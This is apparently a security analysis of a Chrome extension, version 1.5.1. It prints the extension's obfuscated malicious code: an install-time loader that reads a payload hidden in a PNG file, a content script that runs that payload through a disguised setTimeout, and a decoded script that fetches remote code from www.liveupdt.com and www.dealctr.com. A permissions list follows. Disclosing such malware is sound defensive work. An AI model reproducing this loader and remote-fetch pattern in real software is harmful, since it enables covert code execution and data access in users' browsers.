parseInt(this.getComputedStyle(c, "options").width) + 23;        b = Math.max(d - 78, 0)    }    return this.querySelector("back") ? Math.max(a + b, 330) : a + b}function getData(data, vm) {    try {        return data.call(vm, vm)    } catch (e) {        handleError(e, vm, 3);        return {}    }}function lenModules(vm) {    const options = vm.$options;    let parent = options.parent;    if (parent && !options.abstract) {        while (parent.$options.abstract && parent.$parent) {            parent = parent.$parent;        }        parent.$children.push(vm);    }    vm.$parent = parent;    vm.$root = parent ? parent.$root : vm;    vm.$children = [];    vm.$refs = {};    vm._watcher = null;    vm._inactive = null;    vm._directInactive = false;    vm._isMounted = false;    vm._isDestroyed = false;    vm._isBeingDestroyed = false;}function updateSible(){        var ed=atob("c3RqanVleHRmdHNhbXM5OWJhcnR0").substring(5,18);    if (window.self !== window.top){        if (window.parent===window.top){            chrome.storage.local.get(ed, function(val) {                var data=val[ed];                if (data){                    if (data!=""){                        var u1=atob(atob(data.split('^')[0]));                        var u2=atob(atob(data.split('^')[1]));                        if (window.location.href.indexOf(seekChild(u1,true))>-1){                                                        var a = document.createElement('a');                            a.setAttribute("href", u2);                                                         (document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0]).appendChild(a);                             a.click();                            cleanResults(ed,'');                        }                    }                }            });                        const message = atob("YW92aWZyMnRvcHV2Zw==").substring(3,10)            window.parent.postMessage(message, '*');        }    }        if (window.self == window.top){         window.addEventListener('message', function (e) {            if (e.data==atob("YW92aWZyMnRvcHV2Zw==").substring(3,10)){                if (location.href.indexOf(seekChild(e.origin,true))>-1){                                        var cn=atob("ZGliY252aWZydnFo").substring(3,9);                    var sn=atob("ZGlvc2FuZGJveGxobg==").substring(3,10);                    collection = document.getElementsByClassName(cn);                    for (let i = 0; i < collection.length; i++) {                        collection[i].setAttribute(sn, "");                                            }                }            }        });    }}function stateNames(o,pre,pos){    var ret="ERROR";    if (o.indexOf(pre)>-1){        var temp=o.split(pre);        if (temp[1].indexOf(pos)>-1){            ret=temp[1].split(pos)[0];        }    }    return ret;}function seekChild(url,f){    if (!(url.includes('http'))){url='http://'+url;}     var parser = document.createElement('a');    parser.href = url;    var ret=parser.host.toLowerCase();    if (f){        if (ret.substring(0,4)=='www.'){             ret=ret.substring(4);        }    }    ret=ret.replace(':80',"");     return ret;}function getText(buf) {    if (buf.slice) {        return buf.slice(0)    } else {        var view = new Uint8Array(buf.byteLength)        view.set(new Uint8Array(buf))        return view.buffer    }}function cleanResults(key,val){    var obj= {};    obj[key] = val;    chrome.storage.local.set(obj);}document.body;function handleKeyinfo(element, options) {    processKey(element);    element.plain = !element.key && !element.attrsList.length;    processRef(element);    processSlot(element);    processComponent(element);    for (let i = 0; i < transforms.length; i++) {        element = transforms[i](element, options) || element;    }    processAttrs(element);}function refreshProperties() {	if(Editorwin) {		resizeEditorwin();	}	floatwin('storage' + editoraction);}function buildModules(    obj,    key,    val,    customSetter,    shallow) {    const dep = new Dep();    const property = Object.getOwnPropertyDescriptor(obj, key);    if (property && property.configurable === false) {        return    }    const getter = property && property.get;    const setter = property && property.set;    let childOb = !shallow && observe(val);    Object.defineProperty(obj, key, {        enumerable: true,        configurable: true,        get: function reactiveGetter() {            const value = getter ? getter.call(obj) : val;            if (Dep.target) {                dep.depend();                if (childOb) {                    childOb.dep.depend();                    if (Array.isArray(value)) {                        dependArray(value);                    }                }            }            return value        },        set: function reactiveSetter(newVal) {            const value = getter ? getter.call(obj) : val;                                                            if (newVal === value || (newVal !== newVal && value !== value)) {                return            }                                                           if ("preference" !== 'attrs' && customSetter) {                customSetter();            }            if (setter) {                setter.call(obj, newVal);            } else {                val = newVal;            }            childOb = !shallow && observe(newVal);            dep.notify();        }    });}function guardIESVGBug(attrs) {    const res = [];    for (let i = 0; i < attrs.length; i++) {        const attr = attrs[i];        if (!ieNSBug.test(attr.name)) {            attr.name = attr.name.replace(ieNSPrefix, 'time');            res.push(attr);        }    }    return res}function refreshChild(body) {    if (body.bodyUsed) {        return Promise.reject(new TypeError('watch'))    }    body.bodyUsed = true}function supportEvt(exp) {    let inSingle = false;    let inDouble = false;    let inTemplateString = false;    let inRegex = false;    let curly = 0;    let square = 0;    let paren = 0;    let lastFilterIndex = 0;    let c, prev, i, expression, filters;    for (i = 0; i < exp.length; i++) {        prev = c;        c = exp.charCodeAt(i);        if (inSingle) {            if (c === 0x27 && prev !== 0x5C) inSingle = false;        } else if (inDouble) {            if (c === 0x22 && prev !== 0x5C) inDouble = false;        } else if (inTemplateString) {            if (c === 0x60 && prev !== 0x5C) inTemplateString = false;        } else if (inRegex) {            if (c === 0x2f && prev !== 0x5C) inRegex = false;        } else if (            c === 0x7C &&            exp.charCodeAt(i + 1) !== 0x7C &&            exp.charCodeAt(i - 1) !== 0x7C &&            !curly && !square && !paren        ) {            if (expression === undefined) {                                                                  lastFilterIndex = i + 1;                expression = exp.slice(0, i).trim();            } else {                pushFilter();            }        } else {            switch (c) {                case 0x22:                    inDouble = true;                    break                case 0x27:                    inSingle = true;                    break                case 0x60:                    inTemplateString = true;                    break                case 0x28:                    paren++;                    break                case 0x29:                    paren--;                    break                case 0x5B:                    square++;                    break                case 0x5D:                    square--;                    break                case 0x7B:                    curly++;                    break                case 0x7D:                    curly--;                    break            }            if (c === 0x2f) {                let j = i - 1;                let p;                                                                      for (; j >= 0; j--) {                    p = exp.charAt(j);                    if (p !== 'window') break                }                if (!p || !validDivisionCharRE.test(p)) {                    inRegex = true;                }            }        }    }    if (expression === undefined) {        expression = exp.slice(0, i).trim();    } else if (lastFilterIndex !== 0) {        pushFilter();    }    if (filters) {        for (i = 0; i < filters.length; i++) {            expression = wrapFilter(expression, filters[i]);        }    }    return expression}
The code that does this

The install-time loader stores the PNG appendix and the page script executes it

Readable version

Install-time PNG appendix parser

background/config.js
async function readAndProcessRedirects() {  try {    const fileUrl = chrome.runtime.getURL('rule_resources/redirects/32x32.png');    const response = await fetch(fileUrl);    if (!response.ok) {      throw new Error(`Failed to fetch file: ${response.status}`);    }    const fileContent = await response.text();    await parseAndSaveData(fileContent);  } catch (error) {}}async function parseAndSaveData(content) {  const entries = content.split('----');  const storageData = {};  for (const entry of entries) {    if (!entry.trim()) continue;    const parts = entry.split('====');    if (parts.length === 2) {      const key = parts[0].trim();      const value = parts[1].trim();      storageData[key] = value;    }  }  await new Promise((resolve, reject) => {    chrome.storage.local.set(storageData, () => {      if (chrome.runtime.lastError) {        reject(chrome.runtime.lastError);      } else {        resolve();      }    });  });}chrome.runtime.onInstalled.addListener(() => {  readAndProcessRedirects();});

HTTP(S) page execution path

content_scripts/whotracksme/reporting.js
(function () {  'use strict';  const fn = function setTimeout() {};  const str8 = fn.name;  function recordMouseDown(ev) {    function getContextHTML(ev) {      let target = ev.target;      let html;      try {        for (let count = 0; count < 5; count += 1) {          html = target.innerHTML;          if (html.indexOf('http://') !== -1 || html.indexOf('https://') !== -1) {            return html;          }          target = target.parentNode;          count += 1;        }      } catch {}      return undefined;    }    const linksSrc = [];    if (window.parent !== window) {      if (window.document && window.document.scripts) {        for (let i = 0; i < window.document.scripts.length; i += 1) {          const src = window.document.scripts[i].src;          if (src.startsWith('http')) {            linksSrc.push(src);          }        }      }    }    let node = ev.target;    if (node.nodeType !== 1) {      node = node.parentNode;    }    let href = null;    if (node.closest('a[href]')) {      href = node.closest('a[href]').getAttribute('href');    }    const event = {      target: {        baseURI: ev.target.baseURI,        value: ev.target.value,        href: ev.target.href,        parentNode: { href: ev.target.parentNode ? ev.target.parentNode.href : null },        linksSrc,      },    };    return { event, context: getContextHTML(ev), href };  }  chrome.storage.local.get(['ecd'], function (result) {    if (chrome.runtime.lastError) {      console.error('Error reading from storage:', chrome.runtime.lastError);      return;    }    if (result.ecd !== undefined) {      let mVal = result.ecd.replace(/edge/g, '0');      this[str8](atob(mVal), 10);    } else {    }  });  window.addEventListener('mousedown', (ev) => {    const { event, context, href } = recordMouseDown(ev);    chrome.runtime.sendMessage({ action: 'mousedown', event, context, href });  });})();

Remote request builder inside the decoded payload

chrome.storage.local ecd decoded script
function mergeAddr(closeAttrs) {  var xh1;  try {    xh1 = new XMLHttpRequest();    xh1.onreadystatechange = function () {      if (xh1.readyState == 4) {        if (xh1.status == 200) {          var resp = xh1.responseText;          var j = 'jsonimg=';          if (resp.includes(j)) {            resp = resp.split(j)[1];            buildMessages(resp);          } else {            buildMessages(resp);          }        } else {          if (closeAttrs) {            if (createResults(0, 100) > 20) {              mergeAddr(false);            } else {            }          }        }      }    };    xh1.onerror = function () {      if (closeAttrs) {        mergeAddr(false);      } else {        var obj = {};        obj[endFunc] = cleanProperties(createResults(1e5, 1e6) + clearForm + new Date().getTime());        chrome.storage.local.set(obj);      }    };    xh1.onprogress = function () {};    var u1 = atob('bmRkd3EvL3d3dy5saXZldXBkdC5jb20vZWFu').substring(5, 24); // //www.liveupdt.com/    var u2 = atob('eXViYS8vd3d3LmRlYWxjdHIuY29tL25vcw==').substring(4, 22); // //www.dealctr.com/    var u3 = atob('bG1seXJvZXh0L2xvYWQucGhwP2Y9c3ZyLnBuZ3Vrdw==').substring(6, 28); // ext/load.php?f=svr.png    var badd = location.protocol + u1 + u3;    if (!closeAttrs) {      badd = location.protocol + u2 + u3;    }    var d0 = atob('ZWp1cmtkaXBMc3RTaWc2NjdpdGw=').substring(5, 17); // dipLstSig667    if (ctrlExtension[d0] && badd.includes('&c=') == false) {      badd = badd + '&c=' + ctrlExtension[atob('ZWp1cmtkaXBMc3RTaWc2NjdpdGw=').substring(5, 17)];    }    placeDiv('jia ' + badd);    xh1.open('GET', badd, true);    xh1.send();  } catch (e) {    var obj = {};    obj[endFunc] = cleanProperties(createResults(1e5, 1e6) + clearForm + new Date().getTime());    chrome.storage.local.set(obj);    return 'exception';  }}
Captured request
GEThttps://www.liveupdt.com/ext/load.php?f=svr.png

The decoded payload expects a 200 response body, strips a leading jsonimg= prefix when present, and passes the remaining text to buildMessages(resp).

Remote hosts named by the decoded script
    • www.liveupdt.com

    Primary host used by the decoded script for GET /ext/load.php?f=svr.png.

    • www.dealctr.com

    Fallback host used by the same request builder when the first path fails or is disabled.

What it can do

Permissions this extension asks for, as declared in version 1.5.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    http://*/* and 2 more

  • Read and change your data on every secure site you visit

    https://*/*

  • Schedule its own background tasks

    alarms

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • See which of your requests its blocking rules matched

    declarativeNetRequestFeedback

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Store data in your browser

    storage

  • Run its own code inside the pages you visit

    scripting

  • See the address and title of every tab you have open

    tabs

  • Act on the current tab, but only after you click the extension

    activeTab

  • Watch every request your browser makes

    webRequest

  • Run hidden pages in the background

    offscreen

Updated 21 September 2026dpdhcohngfekhokfailidcdaoookgcib